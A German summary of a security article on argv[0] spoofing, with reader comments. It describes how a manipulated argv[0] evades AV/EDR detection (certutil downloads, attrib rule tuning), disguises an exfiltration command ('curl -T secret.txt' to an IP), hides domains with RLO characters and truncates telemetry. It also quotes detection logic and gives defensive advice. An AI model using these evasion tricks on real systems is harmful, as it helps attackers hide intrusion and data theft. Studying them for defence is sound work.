Warum verwendet man `argv[0]`?
(wietzebeukema.nl)- Die Kommandozeile ist seltsam
- Windows ist für solche Probleme besonders bekannt, aber die Art und Weise, wie die meisten Betriebssysteme die Kommandozeile implementieren, kann Sicherheitsprobleme verursachen
- Dieser Artikel erklärt die Probleme mit der etablierten Konvention, dass das erste Kommandozeilenargument eines Prozesses,
argv[0], den Namen des Prozesses repräsentiert
argv[0] ist ein Relikt der Vergangenheit
- Wenn ein Programm startet, erhält es Kommandozeilenargumente, auf die intern zugegriffen werden kann; tatsächlich gehören sie zu den ersten Informationen, die einem Programm beim Start zur Verfügung stehen
- Sie sind ein zentraler Mechanismus, um den Programmablauf zu verändern
- Betrachtet man die
exec-Systemaufruf-Familie, die in POSIX und DOS/Win32 übernommen wurdeint execv(const char *path, char *const argv[]);- Um diese Funktion
execvaufzurufen, muss der vollständige Pfad der auszuführenden Anwendung alspathund ein Vektor mit Argumenten alsargvan das Programm übergeben werden; zurückgegeben wird eine Ganzzahl mit dem Statuscode - Laut dieser Spezifikation wird bei erfolgreicher Ausführung des Programms das Zielprogramm über
int main (int argc, char *argv[]);aufgerufen
- In allen C-Standards gilt:
argcist nicht negativ,argv[argc]ist ein Nullzeiger, und wennargcgrößer als 0 ist, repräsentiertargv[0]den Namen des aufgerufenen Programms - Manche stellen die Notwendigkeit von
argv[0]infrage- „Ein neuer Prozess kennt seinen eigenen Namen doch offensichtlich – warum sollte er dann als erstes Prozessargument vom aufrufenden Prozess übergeben werden?“
- In POSIX-Umgebungen kann ein Programm über einen symbolischen Link aufgerufen werden; das hilft dem neuen Prozess zu erkennen, welche Anforderung gestellt wurde
- Beispielsweise sind Debians
shutdownundrebootauf dieselbe ausführbare Dateisystemctlverlinkt und verhalten sich je nach aufgerufenem Befehl unterschiedlich
- Das wirkt wie eine fragwürdige Designentscheidung
- „Sollte sich ein Programm wirklich je nach eigenem Namen unterschiedlich verhalten?“
- Aus moderner Sicht verringert das die Vorhersehbarkeit von Software und widerspricht modernen Designprinzipien
- Aus der Perspektive der 1970er- und 1980er-Jahre lässt es sich als Versuch verstehen, Duplikation bei knappen Computerressourcen zu minimieren
- Heute spielt Speicherplatz jedoch kaum noch eine große Rolle. Unter macOS Sonoma existieren
shutdownundrebootzum Beispiel als getrennte ausführbare Dateien - Es ist umstritten, ob es wirklich nötig ist, zwei ähnliche Programme in einer Datei zusammenzufassen, oder ob ein Ansatz über Befehlsargumente nicht geeigneter wäre
- Selbst wenn man dieses Prinzip akzeptiert, bleibt die Implementierung selbst diskutabel
- Es ist fraglich, ob die Information aus
argv[0]überhaupt als Teil der Prozessargumente bereitgestellt werden sollte - Programme, die sich auf
argv[0]verlassen, können fehlschlagen, wenn der aufrufende Prozess diesen Wert nicht korrekt setzt - Es gibt auch Programme, die
argv[0]aus sicherheitstechnischer Sicht falsch verwenden - Ein besserer Ansatz wäre,
argv[0]als separate Funktion vontask_structoder PEB auszulagern, sodass das Betriebssystem diesen Wert verwaltet- Das würde konsistentes Tracking ermöglichen und den Spielraum für Manipulation verringern
- Es ist fraglich, ob die Information aus
- Das Betriebssystem, das dieser Idee am nächsten kommt, ist überraschenderweise Windows
- Windows setzt
argv[0]beim Erzeugen eines neuen Prozesses im Unterschied zu anderen Mainstream-Betriebssystemen nicht direkt - Windows-API-Aufrufe (
CreateProcess,ShellExecute) setzenargv[0]automatisch anhand des Pfads der ausführbaren Datei - Obwohl das die sinnvollste Implementierung zu sein scheint, gibt es auch unter Windows eine Möglichkeit,
argv[0]manuell zu setzen, weil dort ebenfalls der POSIX-exec-Aufruf übernommen wurde
- Windows setzt
argv[0] wird ignoriert (meistens)
- Unabhängig davon, wie man zur Bedeutung von
argv[0]steht: In der Praxis existiert dieses Konzept und bringt Probleme mit sich - Beim
exec-Aufruf werden die ersten beiden der oben genannten drei Bedingungen vom Betriebssystem behandelt, die letzte Bedingung in Bezug aufargv[0]jedoch nicht - Da der Aufrufer von
execdie vollständige Kontrolle überargvhat, kann er diese Anforderung ignorieren, und weder Betriebssystem noch aufrufendes oder aufgerufenes Programm prüfen diesen Verstoß - Beispiele für ignoriertes
argv[0]- Um mit
echoHello, world! auszugeben, würde man normalerweiseexecv("/usr/bin/echo", ["echo", "Hello, world!"])aufrufen - Aber auch
execv("/usr/bin/echo", ["oopsie", "Hello, world!"])führt dazu, dassechonormal ausgeführt wird und Hello, world! ausgibt - Das Programm
echoignoriertargv[0]und konzentriert sich nur auf die Argumente abargv[1] - Die meisten Programme verfolgen einen ähnlichen Ansatz und ignorieren
argv[0]
- Um mit
- Beispiele für die Manipulation von
argv[0]- In C und in vielen Programmiersprachen und Skriptsprachen gibt es Möglichkeiten,
argv[0]zu manipulieren:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here' - In C und in vielen Programmiersprachen und Skriptsprachen gibt es Möglichkeiten,
- Die Manipulation von
argv[0]ist einfach und hat auf die Ausführung der meisten Programme keinen Einfluss. Aus Sicherheitssicht kann sie jedoch problematisch sein
argv[0] kann Abwehrmechanismen aushebeln
argv[0]kann genutzt werden, um Sicherheitssoftware zu täuschen. Wenn ein Angreifer ein System kompromittiert, manipuliert er das System, indem er die Befehle des Angreifers ausführt- Abwehrsoftware wie AV und EDR überwacht die Prozessausführung und erkennt oder blockiert bestimmte Befehle, wenn sie als schädlich eingestuft werden. Die meisten Lösungen erkennen aktiv Befehle, die Angreifer häufig verwenden
- Beispiel: Missbrauch des Befehls
certutilcertutil, ein standardmäßig eingebautes Kommandozeilenwerkzeug von Windows, wird häufig bei Angriffen verwendet. Nach initialem Zugriff dient es oft dazu, externe Payloads herunterzuladen- Microsoft Defender Antivirus blockiert die Ausführung von
certutil, wenn Kommandozeilenargumente auf einen Dateidownload hindeuten. Startet mancertutiljedoch mit einem Leerzeichen alsargv[0], blockiert Defender dies nicht - Das zeigt ein Problem, das entsteht, wenn Sicherheitsdetektion den Programmnamen als Teil der Kommandozeile behandelt. Wenn die Erkennungslogik etwa
command_line.contains('certutil') AND command_line.contains('-urlcache')lautet, setzt sie voraus, dasscertutilTeil der Kommandozeile ist. Durch Manipulation vonargv[0]kann diese Logik jedoch umgangen werden - Eine wirksamere Erkennungslogik wäre etwa
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
- Umgehung von Erkennungslogik über
argv[0]- Die Umgehung ist auch möglich, indem man Tuning-Schlüsselwörter zu
argv[0]hinzufügt. Erkennungsregeln kombinieren oft eine Grundbedingung mit Zusatzbedingungen, um False Positives herauszufiltern - So könnte etwa eine Regel auslösen, wenn
attrib.exeDateien versteckt. In der Praxis wird es jedoch oft legitim für die Dateidesktop.iniausgeführt - Ein Angreifer kann dieses Wissen nutzen und
desktop.iniinargv[0]einbauen, um die Erkennung zu umgehen, etwa mitargv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
- Die Umgehung ist auch möglich, indem man Tuning-Schlüsselwörter zu
Mit argv[0] lässt sich täuschen
argv[0]kann nicht nur Sicherheitssoftware, sondern auch Menschen täuschen- Sicherheitsanalysten prüfen Warnmeldungen, die von Tools wie EDR-Software erzeugt werden; diese enthalten die Kommandozeile des betreffenden Prozesses
- Die Kommandozeile eines Prozesses ist eine wichtige Information, anhand derer Analysten entscheiden, ob sie einen Alarm weiter untersuchen oder ignorieren
- Beispiel: Täuschung in der Kommandozeile
- Eine Warnung wegen möglicher Datenexfiltration kann ausgelöst werden, wenn der Befehl
curl -T secret.txt 123.45.67.89ausgeführt wird. Dieser lädt die Dateisecret.txtan die IP-Adresse 123.45.67.89 hoch - Ändert man im selben Szenario
argv[0]voncurlzucurl localhost | grep, bleibt das weiterhin ein gültiger Befehl - Sicherheitssoftware stellt das Kommandozeilenarray oft als durch Leerzeichen getrennte Zeichenkette dar, sodass der Befehl in diesem Fall wahrscheinlich als
curl localhost | grep -T secret.txt 123.45.67.89angezeigt wird - Aus Sicht des Analysten könnte es so wirken, als würde
curl localhostausgeführt und das Ergebnis angrep -T secret.txt 123.45.67.89weitergereicht. Tatsächlich werden aber Daten an eine entfernte Adresse hochgeladen, obwohl es so aussieht, als würde von einer lokalen Adresse heruntergeladen
- Eine Warnung wegen möglicher Datenexfiltration kann ausgelöst werden, wenn der Befehl
- Einsatz des Right-To-Left Override (RLO)-Zeichens
- Das berüchtigte RLO-Zeichen (Right-To-Left Override) kann verwendet werden, um
argv[0]zu manipulieren - Dieses Unicode-Zeichen weist die darstellende Anwendung an, die folgenden Zeichen in umgekehrter Reihenfolge anzuzeigen
- Fügt man RLO in
argv[0]ein, kannping moc.elgoog.some-evil-website.comwieping moc.etisbew-live-emos.google.comaussehen - Diese Methode beeinflusst die Erkennungslogik nicht, kann aber Analysten täuschen
- Das berüchtigte RLO-Zeichen (Right-To-Left Override) kann verwendet werden, um
- Solche Techniken zeigen verschiedene Wege, wie
argv[0]manipuliert werden kann, um durch Täuschung von Sicherheitssoftware und menschlicher Wahrnehmung bösartige Aktivitäten zu verbergen
argv[0] kann Telemetrie beschädigen
- Da
argv[0]ganz am Anfang der Kommandozeile steht, kann ein ausreichend langerargv[0]-Wert alle anderen Argumente ans Ende der Kommandozeile verdrängen - Das ist aus zwei Gründen problematisch: Erstens lassen sich interessante Teile ans Ende der Kommandozeile „verstecken“, sodass Analysten womöglich nicht dorthin scrollen. Zweitens, und noch wichtiger, kann die gesamte Kommandozeile so lang werden, dass Monitoring-Software die tatsächlich wichtigen Argumente abschneidet
- Begrenzungen der Kommandozeilenlänge
- Seit Windows 7 ist die maximale Länge einer Kommandozeile unter Windows auf 14.336 Zeichen (etwa 14 KiB) begrenzt
- Im Linux-Kernel ist die Maximallänge fest auf 32 Seitengrößen kodiert, auf 64-Bit-Architekturen also etwa 131.072 Zeichen (128 KiB)
- macOS Sonoma erlaubt Kommandozeilen mit bis zu 1.048.576 Zeichen (1 MiB)
- Das bedeutet, dass
argv[0]extrem viel beliebigen Platz einnehmen kann
- Beispiele für beschädigte Telemetrie
- Prozess-Monitoring-Software wie EDR kann lange Kommandozeilen vollständig protokollieren oder zur Reduzierung des Overheads auf eine feste Länge kürzen
- Werden lange Kommandozeilen vollständig geloggt, kann man allein durch das Starten von 1.000 Prozessen mit maximaler Kommandozeilenlänge 1 GiB an Logdaten erzeugen
- Wenn hingegen gekürzt wird, können Kommandozeilenargumente in der Telemetrie abgeschnitten werden. Der Befehl
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'gibt zum Beispiel „Hello, world!“ aus, während in der Telemetrie nur Unterstriche aufgezeichnet werden oder in manchen Fällen sogar eine vollständig leere Kommandozeile erscheint - Dadurch fehlen die tatsächlich wichtigen Kommandozeilenargumente, und sowohl Erkennungslogik als auch Analysten können nicht mehr nachvollziehen, was wirklich passiert ist
Die Risiken von argv[0]: Prävention und Erkennung
argv[0]löst ein Problem und verursacht dabei viele andere- Es ist unwahrscheinlich, dass
argv[0]in absehbarer Zeit verschwindet, daher sollte der Fokus aus Sicherheitssicht darauf liegen, wie man damit umgeht - Präventionsmaßnahmen
- Softwareentwickler können prüfen, ob
argv[0]mit dem eigenen Dateinamen übereinstimmt, um Manipulation zu erkennen, aber das skaliert schlecht - Das Betriebssystem könnte diese Prüfung zuverlässiger durchführen. Sich auf
argv[0]zu verlassen, um den Programmfluss zu ändern, ist dringend nicht zu empfehlen - Entwickler sollten möglichst gar nicht mit
argv[0]interagieren
- Softwareentwickler können prüfen, ob
- Erkennungsmethoden für Sicherheitsverantwortliche
- Sich der Funktionsweise und Probleme von
argv[0]bewusst zu sein, ist ein wichtiger Schritt, um Täuschungen in Kommandozeilen zu verhindern - Wenn Sicherheitssoftware Kommandozeilenargumente als Array bereitstellt, lassen sich bestimmte Muster zuverlässig identifizieren
- Übermäßig lange
argv[0]-Werte oder Werte mit verdächtigen Zeichen wie Pipes sollten sofort als verdächtig markiert werden - Selbst wenn Kommandozeilenargumente als Zeichenkette vorliegen, kann man Kommandozeilen markieren, in denen der Programmname fehlt. Das deutet auf ein manipuliertes
argv[0]hin - Schon das Vorhandensein von RLO-Zeichen ist in den meisten Umgebungen eine sehr effektive Erkennungsmethode
- Bei gekürzten Kommandozeilenargumenten sollte man verstehen, wie Sicherheitslösungen und Data Lakes damit umgehen und welche Auswirkungen das auf die erzeugte Telemetrie hat
- Sich der Funktionsweise und Probleme von
- Verbesserungen für Abwehrsoftware
- Abwehrsoftware sollte die Erkennung von Missbrauch von
argv[0]verbessern. Es sollte möglich sein, die Ausführung von Software mit verdächtigenargv[0]-Werten zu blockieren, ohne False Positives zu erzeugen - EDR-Plattformen sollten außerdem erwägen,
argv[0]beim Reporting von Kommandozeilenargumenten auszuschließen. Das würde die meisten in diesem Artikel hervorgehobenen Probleme beseitigen, während der forensische Wert in den meisten Fällen gering ist
- Abwehrsoftware sollte die Erkennung von Missbrauch von
- Letztlich möchte niemand wegen
argv[0]Kopfzerbrechen haben. Unsere Software auch nicht
Zusammenfassung von GN⁺
argv[0]ist ein Relikt der Vergangenheit und widerspricht modernen Prinzipien des Softwaredesigns- Die meisten Programme ignorieren
argv[0], doch es kann Sicherheitsprobleme verursachen argv[0]kann Sicherheitssoftware und Menschen täuschen sowie Telemetrie beschädigen- Sicherheitsverantwortliche sollten den Missbrauch von
argv[0]erkennen, und Abwehrsoftware sollte besser damit umgehen
2 Kommentare
Vielleicht liegt es daran, dass ich schon zur älteren Generation gehöre … aber ich kann der Behauptung des Autors nicht besonders viel abgewinnen. Das Problem ist
exec, aber es wirkt so, als würde der Ärger aufargv[0]abgewälzt.Hacker-News-Kommentar
Die Einwände gegen das Lesen von
argv[0]erfordern entweder Unwissen des Autors oder sehr starke Verteidigungargv[0]einzuschränken, ist erwägenswertargv[0]wird als Ziel für symbolische Links von Hunderten von Befehlen verwendetMit Tools, die
argv[0]verwenden, lassen sich innerhalb eines Containers Host-Befehle ausführenEs ist kein Problem, wenn sich Programme je nach Namen unterschiedlich verhalten
Die Einwände gegen
argv[0]beruhen auf der Behauptung, es widerspreche modernen Designprinzipienargv[0], um zu prüfen, ob es sich innerhalb einer virtualenv befindet, und passt den Suchpfad anargv[0]ist aus Sicherheitssicht nicht besonders schlechtargv-Werte korrekt quotedMit
argv[0]ist alles in Ordnungargv[0], um Befehlsversionen zu unterscheidenbusybox verwendet
argv[0]im "Shim"-ModusmacOS richtet mehrere Befehle so ein, dass sie auf eine einzelne ausführbare Datei zeigen
argv[0]werden die CLI-Bedienbarkeit verbessert und Codeduplikate reduziertWenn
argv[0]entfernt wird, gehen nützliche Funktionen verlorenargv[0]entfernt wird, werden Angreifer andere Wege finden